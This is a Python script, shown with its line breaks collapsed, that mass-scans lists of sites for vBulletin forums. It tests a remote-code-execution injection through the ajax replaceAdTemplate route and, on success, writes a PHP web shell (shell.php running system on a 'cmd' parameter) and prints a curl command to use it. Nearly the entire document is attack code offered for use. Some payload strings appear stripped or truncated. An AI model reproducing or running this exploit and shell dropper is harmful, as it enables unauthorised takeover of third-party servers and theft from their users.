import requests import sys import urllib3 import re import argparse import threading import time from concurrent.futures import ThreadPoolExecutor urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) RED = "\033[31m" GREEN = "\033[32m" YELLOW = "\033[33m" CYAN = "\033[36m" BOLD = "\033[1m" RESET = "\033[0m" COMMON_PATHS = ['/', '/forum/', '/vb/', '/community/', '/forums/'] progress_lock = threading.Lock() progress_count = 0 total_targets = 0 def parse_args(): parser = argparse.ArgumentParser( description="Identify and upload shell on vBulletin targets.", epilog="Usage:\n" "Use help page of the tool by using -h or --help parameters", formatter_class=argparse.RawTextHelpFormatter ) parser.add_argument('--url', help='Single target URL', type=str) parser.add_argument('--list', help='File with list of targets', type=str) parser.add_argument('--threads', help='Threads to use (default: 5)', type=int, default=5) parser.add_argument('--timeout', help='Request timeout in seconds (default: 10)', type=int, default=10) return parser.parse_args() def initial_check(base_url, timeout): base_url = base_url.rstrip('/') for path in COMMON_PATHS: full_url = base_url + path try: r = requests.get(full_url, timeout=timeout, verify=False) if "vBulletin" in r.text or "vbulletin" in r.text: return full_url except: pass return None def test_rce(session, url): inject_data = { "routestring": "ajax/api/ad/replaceAdTemplate", "styleid": "1", "location": "rce", "template": ' ' } try: r = session.post(url, data=inject_data, verify=False) return r.text.strip() == "null" except: return False def drop_shell(session, url): shell_code = '"; system($_GET["cmd"]); echo "";} ?>' cmd = f"echo {repr(shell_code)} > shell.php" drop_data = { "routestring": "ajax/render/ad_rce", "styleid": "1", "location": "rce", "cmd": cmd } try: session.post(url, data=drop_data, verify=False) print(GREEN + f"[+] Shell uploaded: {url}shell.php" + RESET) print(YELLOW + f" Usage: curl '{url}shell.php?cmd=id'" + RESET) except: print(RED + "[-] Shell upload failed." + RESET) def scan_target(base_url, timeout): global progress_count if not base_url.startswith("http"): base_url = "http://" + base_url found_path = initial_check(base_url, timeout) if found_path: session = requests.Session() if test_rce(session, found_path): print(GREEN + f"\n[+] Vulnerable vBulletin RCE: {found_path}" + RESET) drop_shell(session, found_path) else: print(YELLOW + f"\n[-] vBulletin found but not vulnerable: {found_path}" + RESET) with progress_lock: progress_count += 1 def print_progress(): while True: with progress_lock: sys.stdout.write(f"\r[*] {progress_count} of {total_targets} URLs scanned.") sys.stdout.flush() if progress_count >= total_targets: break time.sleep(0.5) def main(): global total_targets args = parse_args() targets = [] if args.url: targets.append(args.url) elif args.list: try: with open(args.list, "r") as f: targets = [line.strip() for line in f if line.strip()] except: print("[-] Failed to read target list.") sys.exit(1) else: print("[-] Provide --url or --list.") sys.exit(1) total_targets = len(targets) print(f"[*] Scanning {total_targets} target(s)...") t = threading.Thread(target=print_progress) t.start() with ThreadPoolExecutor(max_workers=args.threads) as executor: for target in targets: executor.submit(scan_target, target, args.timeout) t.join() print("\n[*] Scan completed.\n") if __name__ == "__main__": main()